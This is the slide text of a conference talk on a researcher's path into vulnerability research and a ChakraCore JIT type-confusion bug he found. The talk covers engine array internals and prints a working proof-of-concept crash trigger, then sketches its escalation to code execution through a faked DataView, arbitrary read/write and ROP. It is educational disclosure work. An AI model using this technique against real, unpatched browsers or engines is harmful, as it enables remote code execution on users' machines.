FROM ZERO TO ZERO DAY
@j0nathanj / Jonathan Jacobi
MSRC-IL, Microsoft
# whoami
• @j0nathanj
• 18 years old, CS and Math graduate
• Interested in vuln research
• Security researcher @ MSRC-IL
• A CTF player with Perfect Blue
What is this talk about?
• My journey, basically
• What I learned in the past year ~
• How it got me to finding my first 0-day in ChakraCore
• Demo!
Vuln research – why?
• Thinking of cases that the devs did not consider
• A very challenging riddle :)
• It’s awesome!
What is a vulnerability?
What is a vulnerability?
What is a vulnerability?
The Journey, part 0x0: Programming
• Being a solid developer is an important part of being a vuln researcher
• The most notable and used programming languages/topics that helped me progress
are mainly C, C++, Assembly, OS internals and Python
• The C Programming Language – awesome read!
• I don’t really know enough C++ tbh :P
• Assembly I learned from an awesome book in Hebrew
Part 0x1: Vuln research basics
• Basic vulnerabilities
• Classic stack buffer overflows • CTFs!
• Integer overflows • Group effort, much more exciting
• Heap overflows • Totally fine to fail
• Use after Frees
• Solve basic challenges:
• Overthewire
• Exploit-exercises
• Write ups – great way to learn!
Part 0x2: Diving to the deep water
• Make sure you’re familiar with the basics
• BUT: DON’T stay in the “shallow water” for too long
• Try harder things, don’t be afraid to fail - we all learn from our failures!
• I tried to always expose myself to harder challenges, even to ones I was not sure I
could solve.
Part 0x3: Pwn, Repeat
• Practice =)
• Solve CTF challenges, read write-ups for them
• Read about actual real-world vulns
• GET YOUR HANDS DIRTY!
What IS a vulnerability?
vulnerability
Part 0x4: Vuln discovery
• I came to the point where I have seen a few different vuln types, and some of them
had some things in common.
• Some examples to where a lot of vulns exist:
- Complex code
- Programming errors, e.g., integer or signedness issues
- Bad coding practices, e.g., assuming too much about input
- Many more
Part 0x4: Vuln discovery
• Very trivial, yet still out there!
• Bugs are bugs (regardless of how complex they are)
• There are still countless bugs out there!
Part 0x4: Vuln discovery – CTFs vs. IRL
• CTFs: Usually in CTFs the vuln is a bug that does not require too much to reach it
• IRL: Some times vulns aren’t a single mistake
• A bunch of weird states/primitives
• Chained together, they form something bigger
• Can be turned into a vuln
• We will see that later in the Chakra vuln ☺
JavaScript (Engines) 101
• “But you didn’t say you learned JavaScript!”
• JS engines are responsible for actually running the JS code that comes in
• Doing this efficiently is hard, which is the why they are so complex
• Parser
• Interpreter
• Runtime
• JIT compiler <--- the interesting part for our use-case
• Garbage Collector
JavaScript 101 :: Basics
• Dynamically typed language
• Fairly readable
var array = [1.1, 1234, "value"];
var another_array = new Array(10);
var obj = { member : "value" };
console.log(array[0]); // prints 1.1
console.log(obj.member); // prints value
JavaScript 101 :: Prototypes
• JS objects have “prototypes”, which are used to inherit features from other objects
• Can be modified using __proto__ to change the prototype of an object
var parentObj = { x : 1, y : 2 };
var childObj = { z : 3 };
childObj.__proto__ = parentObj;
console.log(childObj.x); // 1
console.log(childObj.y); // 2
console.log(childObj.z); // 3
JavaScript 101 :: Proxy
• A Proxy is an Object that can be used to re-define basic operations
• We can trap calls to functions like object getters and setters
• Including the getter for __proto__!
function getter_handler(o, member) {
return "got proxied";
}
var handler = { get : getter_handler };
var proxy = new Proxy({}, handler);
proxy.x = 0x1337;
console.log(proxy.x); // prints "got_proxied"
ChakraCore 101 :: Arrays
JavascriptNativeIntArray
• Stores integers
• 4 bytes per element
var int_arr = [1];
ChakraCore 101 :: Arrays
JavascriptNativeFloatArray
• Stores floats
• 8 bytes per element
var float_arr = [13.37];
ChakraCore 101 :: Arrays
JavascriptArray
• Stores objects
• 8 bytes per element
var object_arr = [{}];
ChakraCore 101 :: Conversions
var int_arr = [1]; // JavascriptNativeIntArray
int_arr[0] = 13.37; // Converted to JavascriptNativeFloatArray
int_arr[0] = {}; // Converted to JavascriptArray
var float_arr = [1.1, 2, 3] // JavascriptNativeFloatArray
ChakraCore 101 :: Conversions
var mixed_arr = [1, 1.1, {}]; // JavascriptArray
var array1 = [1]; // JavascriptNativeIntArray
var array2 = [2]; // JavascriptNativeIntArray
array2.__proto__ = array1; // array1 --> JavascriptArray
ChakraCore 101 :: Array layout
JavascriptArray Segment Segment
ArrayFlags left left
length length length
head size size
… next next …
Element[0] Element[0]
… …
Loosely based on a diagram from “The ECMA and the Chakra: Hunting bugs in the Microsoft Edge Script Engine” by @natashenka. Great talk btw ☺
ChakraCore 101 :: Array layout
• When debugging the following sample code, we can see the state of the fields
we just mentioned.
var arr = [0xaaaaaa, 0x31337];
ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];
JavascriptArray properties
Segment properties
Segment’s memory layout
(includes the elements – the
address in the picture below
is pArr->head)
ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];
• One interesting field for our vuln is the arrayFlags field of JavascriptArray.
• The “DynamicObjectFlags” is an enum which is defined as follows:
ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];
• In our example:
InitialArrayValue = ObjectArrayFlagsTag | HasNoMissingValues
• The HasNoMissingValues flag indicates that the array does not have missing
values
• The ObjectArrayFlagsTag flag is not interesting for our case
ChakraCore internals :: Missing Values
• Code sample:
var arr = new Array(3);
arr[0] = -1.1885959257070704e+148; // == (double)0xdeadbeefdeadbeef
arr[2] = 2261634.5098039214; // == (double)0x4141414141414141
• The array’s arrayFlags property:
As seen, the
HasNoMissingValues flag
is OFF – which indicates that
there are indeed missing
values in the array.
ChakraCore internals :: var arr = new Array(3);
arr[0] = -1.1885959257070704e+148; // == (double)0xdeadbeefdeadbeef
Missing Values arr[2] = 2261634.5098039214; // == (double)0x4141414141414141
• Let’s have a look at how those so called “missing values” are represented in memory.
• This is the memory dump of the Segment, marked in red are the elements of the array:
??? Where did 0xfff80002fff80002 come from?
ChakraCore vulns :: Missing Values
• Wait.. What ?
• Mixing data && metadata
• 2 separate things to indicate the same
state (HasNoMissingValues flag /
Magic value as element)
ChakraCore vulns :: Missing Values
• Can we insert a fake Missing Value to an array?
var arr = [1.1, 2.2, 3.3];
arr[0] = <MissingValue_Magic>; // this value changed a few times lately
console.log(arr[0]); // undefined
• Can be turned into a vuln! CVE-2018-8505 by @S0rryMybad and @lokihardt
• Not possible any more (or is it .. ? :P) – “mitigated” in a few ways
• Magic value constant changed (now can’t be represented as a float)
• A few more checks were added
ChakraCore internals (again) :: FLOATVAR
• In scenarios where we have a JavascriptArray with float values inside of it,
the float values are “boxed” and XORed with a constant:
• Can we use the same missing value trick in JavascriptArray?
• Is the magic constant different?
• XORing with the tag allows us to represent values that we couldn’t before
ChakraCore vulns :: FLOATVAR && Missing Values
• We can’t represent the magic value with a normal float, BUT:
• The magic value is still the same, even if FLOATVAR is enabled!
• xor(xor(a,b), a) == b
• The magic value can be represented by a “boxed” float: xor(magic, FloatTag_Value)!
var arr = [1.1, 2.2, {}]; // floats here are boxed
arr[0] = <Boxed_MagicValue_Float>;
console.log(arr[0]); // undefined
JIT Bugs :: Type Confusions
• JIT type confusions are vulns that occur due to wrong assumptions by the JIT
• Most common: “Side Effect” that took place, and the JIT was not aware of.
• Example:
• JITed function invokes a function foo() that changes the type of an array
• JITed function doesn’t know the conversion happened, and uses the old type of the array
• Leads to a Type Confusion in the JITed code, could potentially be turned into an RCE
JIT Bugs :: Type Confusions
• Theoretical example:
function jit(arr) {
foo(arr); // Side Effect *may* change arr’s type
• Force jit() to be JITed and optimized
}
for (let i = 0; i < 0x10000; i++) { • JITed function makes assumptions on
jit(arr_type1); obj type
}
• Has checks for whether (some)
jit(arr_type2); // cause type confusion
assumptions break
JIT Bugs :: Type Confusions
• Theoretical example:
• Side Effect took place
function jit(arr) { • JIT engine failed to check whether the
foo(arr); // Side Effect *may* change arr’s type assumptions are wrong
}
• Incorrect use of the array
for (let i = 0; i < 0x10000; i++) {
jit(arr_type1);
}
jit(arr_type2); // cause type confusion
ChakraCore vulns :: weird state --> vuln
• As already mentioned, this weird state was already investigated by Loki and
S0rryMybad
• They both found out that Array.prototype.concat has an interesting code-path
where it takes into account both HasNoMissingValues, and the values of the
elements in the array.
ChakraCore vulns :: weird state --> vuln
• Once we successfully have a fake missing value in an array (will be referred to as
“buggy”), the following code could trigger an interesting flow:
var float_arr = [ 1.1 ];
float_arr.concat(buggy); // buggy has a fake MissingValue
ChakraCore vulns :: weird state --> vuln * aItem is what we referred to as “buggy”
• We will reach the following if-statement:
We can get
isFillFromPrototypes to
return false if
HasNoMissingValues is set,
as seen in the next slide
ChakraCore vulns :: weird state --> vuln * “this” is what we referred to as “buggy”
ChakraCore vulns :: weird state --> vuln * aItem is what we referred to as “buggy”
• After passing the IsFillFromPrototypes() check, we will reach the following
else statement, as our array is not a native array:
ChakraCore vulns :: weird state --> vuln
• As HasNoMissingValues is true, we successfully reach the
CopyArrayElements call.
• CopyArrayElements invokes InternalCopyArrayElements, which is quite
interesting in our scenario.
ChakraCore vulns :: weird state --> vuln
• srcArray is our fake missing-value array (the one we named “buggy”)
ChakraCore vulns :: weird state --> vuln
• Iterates over the source array using ArrayElementEnumerator.
• Fun fact about ArrayElementEnumerator: It skips an element if its value is Missing
Value ( == 0xfff80002fff80002)
ChakraCore vulns :: weird state --> vuln
• As we have just seen, missing values are skipped in the iterator.
• --> start + count != end (since it skipped the missing-values)
ChakraCore vulns :: weird state --> vuln
ChakraCore vulns :: weird state --> vuln
ChakraCore vulns :: weird state --> vuln
• “ForEachOwnMissingArrayIndexOfObject” essentially calls
EnsureNonNativeArray for each of the prototypes in the prototype chain
ChakraCore vulns :: weird state --> vuln
• Any guesses what “EnsureNonNativeArray” does ? :P
ChakraCore vulns :: weird state --> vuln
• Quick recap:
• If we create an array with a fake Missing Value, but HasNoMissingValue flag is set, we
reach an interesting code flow from Array.prototype.concat()
• It will loop through the fake array’s prototype chain, and will make sure every prototype in
the prototype-chain is a Non-native array (AKA: JavascriptArray).
• Remember: if some object is the prototype of another object directly, the prototype is
converted to a JavascriptArray.
ChakraCore vulns :: weird state --> vuln
• So, if we could theoretically have a Native array as the prototype, we can cause it to be
converted to a JavascriptArray, without the JIT knowing it..
o Similarly to the “usual” Side-Effect JIT bugs explained earlier
• Fortunately for us, a trick to do so already exists && is well known!
• We can use a Proxy to trap the GetPrototype() call
• But still.. If we write our custom function it’ll detect it as having side-effects
• …
• Object.prototype.valueOf is marked as without Side-Effects!
• Known and documented trick by Lokihardt, can be found here
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3]; Get jit() to be JITed
jit(tmp, [1.1]); Make it expect 2 Float arrays
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
“buggy” is our array with FLOATVAR
let arr = [1.1]; “arr” will be used as target for the Type Confusion
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf; Use valueOf to bypass the Side Effect constraint
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
The trapped GetPrototype() will return `arr` as
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
NativeFloatArray
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309; Insert a fake Missing Value to the array
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy); Trigger the JITed function
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1]; arr --> JavascriptNativeFloatArray
arr[0] = 1.1; concat() --> arr converted to JavascriptArray
let res = tmp.concat(buggy);
Overwrite a pointer in the JavascriptArray with “0x1234”
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
Crash on faked object @ 0x1234
console.log(arr);
}
(reading from 0x1234+8)
main();
ChakraCore vulns :: PoC --> RCE
• To exploit this bug we faked a DataView object, which in turn grants us an arbitrary read/write
primitive
• Our exploit is based on the Pwn.js library
• An awesome library!
• We had to fix a few small things to make it work for us
• We leaked a stack address with a known trick
• Given arbitrary read and an infoleak, we can get a stack pointer from reading some data off a
ThreadContext
• After that we just ROP and restore what we overwrote, allowing valid process continuation
DEMO
Thank you ☺
• @tom41sh && @Arbel2025 – definitely wouldn’t have made it without you guys!
• The whole @BlueHatIL crew for helping me be prepared for all this ☺
• The MSRC Vulnerabilities & Mitigations team for the great feedback
• @AmarSaar, @bkth_, @_niklasb and everyone else who helped me out!
• Everyone who’s here to watch my talk ;)
QUESTIONS?
Appendix – Learning Resources
• Sploitfun – Linux (x86) Exploit Development Series
• Shellphish how2heap repository
• CTFTime.org – great website to find information and writeups about CTFs
• Pwnable.kr
• Pwnable.tw